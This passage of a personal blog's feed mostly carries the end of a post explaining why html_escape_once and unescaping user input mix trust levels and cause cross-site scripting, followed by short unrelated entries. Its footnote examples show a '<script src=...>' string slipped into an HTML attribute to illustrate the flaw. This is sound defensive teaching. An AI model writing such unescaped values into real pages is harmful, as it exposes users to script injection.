#94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:&#39;) I hope your &lt;a href=&quot;https://owasp.org/www-community/controls/Content_Security_Policy&quot;&gt;CSP&lt;/a&gt; policies are good. If we’d used good ol’ plain &lt;code&gt;escapeHTML&lt;/code&gt;, this wouldn’t have happened!&lt;/p&gt;
&lt;p&gt;We can say that &lt;code&gt;escapeHTML&lt;/code&gt; encodes text as HTML, preserving the level of trust while changing the acceptable context for the value. The corollary is that &lt;code&gt;unescapeHTML&lt;/code&gt; decodes HTML into text (though it only preserves the level of trust inasmuch as &lt;strong&gt;you originally encoded it&lt;/strong&gt; as HTML to begin with; again, more on this later).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;html_escape_once&lt;/code&gt; encodes text as HTML, preserving the level of trust, &lt;strong&gt;except for entities in the original text&lt;/strong&gt;, which are left untouched, and migrate a level of trust “upwards”. The output is of mixed trust, in a single string. Here be dragons.&lt;/p&gt;
&lt;h2&gt;Diagrammatic tl;dr&lt;/h2&gt;
&lt;p&gt;Here’s what happens when we’re just escaping and unescaping HTML like we used to do in the Good Old Days, when men were real men, women were real women, and enbies were real tired of your shit:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://s3.hrzn.ee/kvp/dragons.png&quot;&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/dragons.png&quot; width=&quot;658&quot; height=&quot;305&quot; alt=&quot;Diagram showing the user input HTML, &amp;lt;p&amp;gt;Here be &amp;amp;lt;dragons&amp;amp;gt;.&amp;lt;/p&amp;gt;, and then the same HTML when entity escaping and unescaping is applied repeatedly. The diagram points out that, if you unescape the user input first, you end up permanently losing the distinction between what was HTML and what was text in the original input.&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;All those “I’ll get to it in a moment” bits come good here: you can’t unescape content that you didn’t escape first yourself. I mean, you can, but &lt;em&gt;here be dragons&lt;/em&gt; strikes again. Note the dashed line which represents the Rubicon: once you pass it, you’re stuck on the other side. You’ve mixed trust levels again.&lt;/p&gt;
&lt;p&gt;Meditate on the undesirability of ending up above the dashed line.&lt;/p&gt;
&lt;p&gt;Now let’s involve that horrible cousin of &lt;code&gt;escapeHTML&lt;/code&gt; who was always mean to us at Easter gatherings, &lt;code&gt;html_escape_once&lt;/code&gt;, and see how the picture changes&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-cousin&quot; id=&quot;fnref-cousin&quot; data-footnote-ref&gt;7&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://s3.hrzn.ee/kvp/diosmio.png&quot;&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/diosmio.png&quot; width=&quot;716&quot; height=&quot;385&quot; alt=&quot;Diagram showing the user input HTML, &amp;lt;p&amp;gt;Here be &amp;amp;lt;dragons&amp;amp;gt;.&amp;lt;/p&amp;gt;, and then the same HTML when entity escaping and unescaping is applied repeatedly, as well as when the HTML escape &amp;quot;once&amp;quot; function is applied. The diagram stresses that applying the HTML escape &amp;quot;once&amp;quot; function either does nothing, or permanently loses the distinction between what was HTML and what was text in the original input.&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IS IT BETTER? I THINK IT’S WORSE. This is what I &lt;em&gt;really&lt;/em&gt; mean by mixing trust levels, and how &lt;code&gt;html_escape_once&lt;/code&gt; makes that &lt;em&gt;so easy&lt;/em&gt;. It either does nothing, OR, it ruins your week. Or your week was already ruined. Either way, if it’s lurking in your codebase, you can practically guarantee it’s doing (a) nothing, or (b) nothing good.&lt;/p&gt;
&lt;p&gt;Do not use this function.&lt;/p&gt;
&lt;h2&gt;Postscript: on automated HTML safety&lt;/h2&gt;
&lt;p&gt;Most templating ecosystems have something good for this, and &lt;em&gt;provided&lt;/em&gt; you keep the input correctly marked as HTML-safe or -unsafe, it can work out for you safely and correctly with no extra work.&lt;/p&gt;
&lt;p&gt;That’s a big “provided”, though, and even moderately-featured user content HTML pipelines are often doing many operations on a document, pulling in various sources of content (many of which are user-controlled; user names, item descriptions, custom statuses …) and layering on ever increasing amounts of complexity before ever getting &lt;em&gt;near&lt;/em&gt; the frontend templating system.&lt;/p&gt;
&lt;p&gt;If you’re comprehensively using the templating system, or only working on a DOM and serialising &lt;em&gt;once&lt;/em&gt; at render, you are in God’s country, and I envy you. If not, may this advice help you steer the course.&lt;/p&gt;
&lt;h2&gt;Postscript: on tags that aren’t tags&lt;/h2&gt;
&lt;p&gt;A lot of the wonk here arises because these are functionally equivalent, meaning a modern browser will interpret them as &lt;em&gt;exactly the same&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-tooltip&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;p&amp;gt;Hello, world!&amp;lt;/p&amp;gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;x &lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;fr&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;fr!&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-tooltip&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;amp;lt;p&amp;amp;gt;Hello, world!&amp;amp;lt;/p&amp;amp;gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;x &lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;lt;&lt;/span&gt; y, fr fr!&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This may seem at odds with what I’ve told you, but regrettably, it is not.&lt;/p&gt;
&lt;p&gt;The easy part&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-easy&quot; id=&quot;fnref-easy&quot; data-footnote-ref&gt;8&lt;/a&gt;&lt;/sup&gt; is the content of the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;. If a &lt;code&gt;&amp;lt;&lt;/code&gt; isn’t part of an HTML tag, it just doesn’t interrupt the text node it’s a part of! Of course, if you reserialise that text node, you’ll get a &lt;code&gt;&amp;amp;lt;&lt;/code&gt; back out, but they are functionally equivalent. Maybe the former will fail some W3C validator somewhere, y’know, when taken in a time machine back to the late 90s.&lt;/p&gt;
&lt;p&gt;The harder part, which can lead to much weeping and gnashing of teeth, is the &lt;code&gt;data-tooltip&lt;/code&gt; attribute value. An &lt;a href=&quot;https://html.spec.whatwg.org/multipage/syntax.html#attributes-2&quot;&gt;HTML tag’s attribute value&lt;/a&gt; is just text — it’s not a tree, and so we can’t have a tag-like construction &lt;em&gt;do&lt;/em&gt; anything in there. Entities are still processed, since otherwise there’d be no way to put a double-quote inside a double-quoted attribute value, which means that in an attribute value, &lt;code&gt;&amp;amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;lt;&lt;/code&gt; are totally equivalent! They both represent the character &lt;code&gt;&amp;lt;&lt;/code&gt; in that value. Maybe there would be world peace today if bare &lt;code&gt;&amp;lt;&lt;/code&gt; was forbidden, but HTML does not forbid.&lt;/p&gt;
&lt;p&gt;This is where things can get really screwy with writing HTML “by hand”. &lt;code&gt;&amp;lt;p&amp;gt;Hello, world!&amp;lt;/p&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;amp;lt;p&amp;amp;gt;Hello, world!&amp;amp;lt;/p&amp;amp;gt;&lt;/code&gt; mean the same thing when they’re put into an attribute value, but very different things outside one. The answer is to &lt;em&gt;always&lt;/em&gt; escape attribute values when writing them out — then they mean different things inside an attribute value &lt;em&gt;and&lt;/em&gt; outside one — ideally in a generic method far away from any user concerns, or just serialise a real DOM in the first place!&lt;/p&gt;
&lt;p&gt;This screwiness in attribute values combines particularly well (poorly) with &lt;code&gt;html_escape_once&lt;/code&gt; — note that it &lt;em&gt;always has no effect&lt;/em&gt; on how an attribute value is interpreted, because it only changes characters to entities that wouldn’t get special treatment in an attribute value anyway!&lt;/p&gt;
&lt;p&gt;DO NOT BE LED INTO TEMPTATION. “It has no effect so it does no harm, right?” WRONG. All the preceding paragraph is telling you is that &lt;em&gt;putting unescaped content where an attribute value is expected will end up mixing trust levels even without your help&lt;/em&gt;. See the second diagram above — it’s the one wonky purple line that’s crossing the Rubicon! In this context it’s also equivalent to &lt;strong&gt;unescaping&lt;/strong&gt; the HTML once&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-explain-how&quot; id=&quot;fnref-explain-how&quot; data-footnote-ref&gt;9&lt;/a&gt;&lt;/sup&gt;, which is the other way to cross that line! It’s bad! It’s so bad!&lt;/p&gt;
&lt;p&gt;The solution is to &lt;strong&gt;uniformly&lt;/strong&gt; escape the value going in. If you maul the value with &lt;code&gt;html_escape_once&lt;/code&gt; — essentially pre-empting the damage this fun parsing mode might do by &lt;em&gt;doing it to yourself first&lt;/em&gt; — there is likewise no recovering.&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-omg&quot;&gt;
&lt;p&gt;look at that comment. Look at the example irb session in the docs. Can you guess what’s happened here? &lt;a href=&quot;https://github.com/rails/rails/blob/984c3ef2775781d47efa9f541ce570daa2434a80/activesupport/lib/active_support/core_ext/string/output_safety.rb#L14-L18&quot;&gt;It’s not the documentation’s fault …&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I wonder if APIdock uses &lt;code&gt;html_escape_once&lt;/code&gt;? &lt;a href=&quot;#fnref-omg&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-entity&quot;&gt;
&lt;p&gt;the word “entity” is often used in a very slipshod way to refer to character references themselves (of both the numeric and entity kind), and sometimes to even the characters that are replaced by functions like this, and I will continue this great tradition. Arguably this contributes to the confusion in the landscape, but I submit that if you can’t differentiate your input from your output, you’re cooked regardless of terminology. &lt;a href=&quot;#fnref-entity&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;2&quot; aria-label=&quot;Back to reference 2&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#fnref-entity-2&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;2-2&quot; aria-label=&quot;Back to reference 2-2&quot;&gt;↩&lt;sup class=&quot;footnote-ref&quot;&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-space&quot;&gt;
&lt;p&gt;of course, you’ll need quotes around that attribute value anyway if there could possibly be a space in the user input, as &lt;code&gt;escapeHTML&lt;/code&gt; doesn’t replace whitespace with entities (though you could!), and that’s where the &lt;code&gt;&amp;quot;&lt;/code&gt; and &lt;code&gt;&#39;&lt;/code&gt; replacements come in. &lt;a href=&quot;#fnref-space&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;3&quot; aria-label=&quot;Back to reference 3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-brocken&quot;&gt;
&lt;p&gt;make no mistake — this is a &lt;a href=&quot;https://owasp.org/www-community/attacks/xss/&quot;&gt;severe security issue&lt;/a&gt; that could cost you millions of dollars in damages, security bounty payouts and lost shareholder confidence! &lt;a href=&quot;#fnref-brocken&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;4&quot; aria-label=&quot;Back to reference 4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-ignorance&quot;&gt;
&lt;p&gt;I am straight-up not engaging with the problem of sanitisation of user input in this post. That’s a whole different kettle of fish and &lt;strong&gt;not&lt;/strong&gt; to be conflated with correct handling of levels of escaping/trustedness in the first place, and by not engaging with it I hope to disentangle the two concepts ever so slightly. Remember that you cannot trust the frontend &lt;strong&gt;at all&lt;/strong&gt;, and motivated users can &lt;strong&gt;and will&lt;/strong&gt; send whatever they want to all of your backend APIs.&lt;/p&gt;
&lt;p&gt;Please remember too that you cannot fix one of these problems with the tools for the other. Running a sanitiser won’t help you if escaped HTML finds itself being unescaped down the line or in the browser. &lt;a href=&quot;#fnref-ignorance&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;5&quot; aria-label=&quot;Back to reference 5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-oa&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://www.odbms.org/blog/2025/10/beyond-the-ai-hype-guido-van-rossum-on-pythons-philosophy-simplicity-and-the-future-of-programming/&quot;&gt;it’s an OpenAPI call&lt;/a&gt;. &lt;a href=&quot;#fnref-oa&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;6&quot; aria-label=&quot;Back to reference 6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-cousin&quot;&gt;
&lt;p&gt;unlike &lt;code&gt;escapeHTML&lt;/code&gt;, all of my cousins are lovely people! I think there’s some rule for trans people that immediate family is extremely hit or miss, but somehow extended family is almost uniformly supportive. &lt;a href=&quot;#fnref-cousin&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;7&quot; aria-label=&quot;Back to reference 7&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-easy&quot;&gt;
&lt;p&gt;not so easy for my syntax highlighting tho lol! &lt;code&gt;&amp;lt;span class=&amp;quot;tag&amp;quot;&amp;gt;&lt;/code&gt; indeed. &lt;a href=&quot;#fnref-easy&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;8&quot; aria-label=&quot;Back to reference 8&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-explain-how&quot;&gt;
&lt;p&gt;Say you start with this value, which we want to put in an attribute:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;Creighton loves &lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;lt;&lt;/span&gt;script src=Web3&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;lt;&lt;/span&gt;/script&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we put it straight in …&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-tooltip&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;p&amp;gt;Creighton loves &amp;amp;lt;script src=Web3&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&amp;lt;/p&amp;gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;… it gets interpreted as the value &lt;code&gt;&amp;lt;p&amp;gt;Creighton loves &amp;lt;script src=Web3&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we &lt;code&gt;html_escape_once&lt;/code&gt;?&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-tooltip&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;amp;lt;p&amp;amp;gt;Creighton loves &amp;amp;lt;script src=Web3&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No change. We are still beset by token swaps and smart contracts.&lt;/p&gt;
&lt;p&gt;If we &lt;code&gt;unescapeHTML&lt;/code&gt;?&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-tooltip&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;p&amp;gt;Creighton loves &amp;lt;script src=Web3&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also no change! Truly we are of the damned.&lt;/p&gt;
&lt;p&gt;What about a regular &lt;code&gt;escapeHTML&lt;/code&gt;?&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-tooltip&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;amp;lt;p&amp;amp;gt;Creighton loves &amp;amp;amp;lt;script src=Web3&amp;amp;amp;gt;&amp;amp;amp;lt;/script&amp;amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How’s that interpreted? Madre mía:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;Creighton loves &lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;lt;&lt;/span&gt;script src=Web3&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;lt;&lt;/span&gt;/script&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;#blessed. See the second diagram again to track this, keeping in mind that the particularities of attribute value parsing are as if a single round of &lt;code&gt;unescapeHTML&lt;/code&gt; were applied to the raw string that makes up the value in the HTML. If you don’t escape it once yourself, you cross the Rubicon by default. &lt;a href=&quot;#fnref-explain-how&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;9&quot; aria-label=&quot;Back to reference 9&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>tired</title>
    <updated>2025-10-11T10:50:01Z</updated>
    <id>https://kivikakk.ee/2025/10/11/tired</id>
    <link href="https://kivikakk.ee/2025/10/11/tired" />

    <content type="html">&lt;p&gt;Wish I could feel rested again. I’m starting to forget what that would even be like.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>&quot;i like making things—&quot; no. you like things.</title>
    <updated>2025-10-09T06:52:27Z</updated>
    <id>https://kivikakk.ee/2025/10/09/i-like-making-things-no-you-like-things</id>
    <link href="https://kivikakk.ee/2025/10/09/i-like-making-things-no-you-like-things" />

    <content type="html">&lt;blockquote&gt;
&lt;p&gt;A review or synopsis of a book can never replace the experience of reading it yourself: contemplating ideas for hours and 100s of pages as each sentence is carefully consumed. In the same way, skimming summaries of completed AI tasks robs us of forming a deep understanding of the domain, the problem, and the possible solutions; it robs us of being connected to the codebase. Taking the plunge into the abyss of one’s ignorance to reveal, learn, and understand a topic and its implications is both gratifying and crucial to good software. Ownership, agency, and deep, fulfilling work have been replaced with scattered attention spent between tabs of Agents.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://hojberg.xyz/the-programmer-identity-crisis/&quot;&gt;The Programmer Identity Crisis: On AI, Creativity, and Craft&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>important</title>
    <updated>2025-09-29T13:40:37Z</updated>
    <id>https://kivikakk.ee/2025/09/29/important</id>
    <link href="https://kivikakk.ee/2025/09/29/important" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://about.gitlab.com/company/team-pets/#asherah-connor-lily&quot;&gt;read this&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Let&#39;s give Comrak a home with mama</title>
    <updated>2025-09-26T04:17:50Z</updated>
    <id>https://kivikakk.ee/2025/09/26/let-us-give-comrak-a-home-with-mama</id>
    <link href="https://kivikakk.ee/2025/09/26/let-us-give-comrak-a-home-with-mama" />

    <content type="html">&lt;p&gt;I thought it was probably about time Comrak had a better landing page than a README. It’s a little bit cute and Markdown themed!&lt;/p&gt;
&lt;p&gt;→ &lt;a href=&quot;https://comrak.ee&quot;&gt;comrak.ee&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Post-install message from httparty</title>
    <updated>2025-09-18T07:24:21Z</updated>
    <id>https://kivikakk.ee/2025/09/18/post-install-message-from-httparty</id>
    <link href="https://kivikakk.ee/2025/09/18/post-install-message-from-httparty" />

    <content type="html">&lt;p&gt;When you HTTParty, you must party hard!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>kodus</title>
    <updated>2025-09-14T11:19:46Z</updated>
    <id>https://kivikakk.ee/2025/09/14/kodus</id>
    <link href="https://kivikakk.ee/2025/09/14/kodus" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/kodus.png&quot; alt=&quot;screenshot of stardew valley; it’s 9:50pm, there’s a kitty and doggy sleeping in a nursey, as well a baby in a crib. lots of decorations are about, including a photo of the player character’s wife, who can be seen standing in the kitchen in the corner of the screenshot&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>no politics!! unless, of course, we are discussing tolerating nazis or ragging on CoCs :)</title>
    <updated>2025-09-09T14:12:34Z</updated>
    <id>https://kivikakk.ee/2025/09/09/no-politics-except-fascist-apologia</id>
    <link href="https://kivikakk.ee/2025/09/09/no-politics-except-fascist-apologia" />

    <content type="html">&lt;p&gt;In what I’m sure is not a &lt;a href=&quot;https://kivikakk.ee/2025/09/01/how-to-leave-lobsters-for-good-in-3-easy-steps&quot;&gt;sign of the times&lt;/a&gt;, just a week later we have this beauty. See if you can spot where a leap was made that surprised me!&lt;/p&gt;
&lt;p&gt;Submission title: &lt;a href=&quot;https://archive.is/iIulo&quot;&gt;&lt;strong&gt;We will not accept changes created with the aid of “AI”&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://archive.is/iIulo#c_cmcifi&quot;&gt;Top-level comment&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[…] if the code is right, I don’t care that it was written by an AI, a Nazi, or even a dog.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This in the same discussion where the “Nazi bar” idea has already been brought up twice.&lt;/p&gt;
&lt;p&gt;In what I can only accept as the universe consistently striving to deliver us fresh humour, the same comment concludes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If it’s wrong, it doesn’t get a pass just because it was written by a staunch feminist.&lt;/p&gt;
&lt;/blockquote&gt;
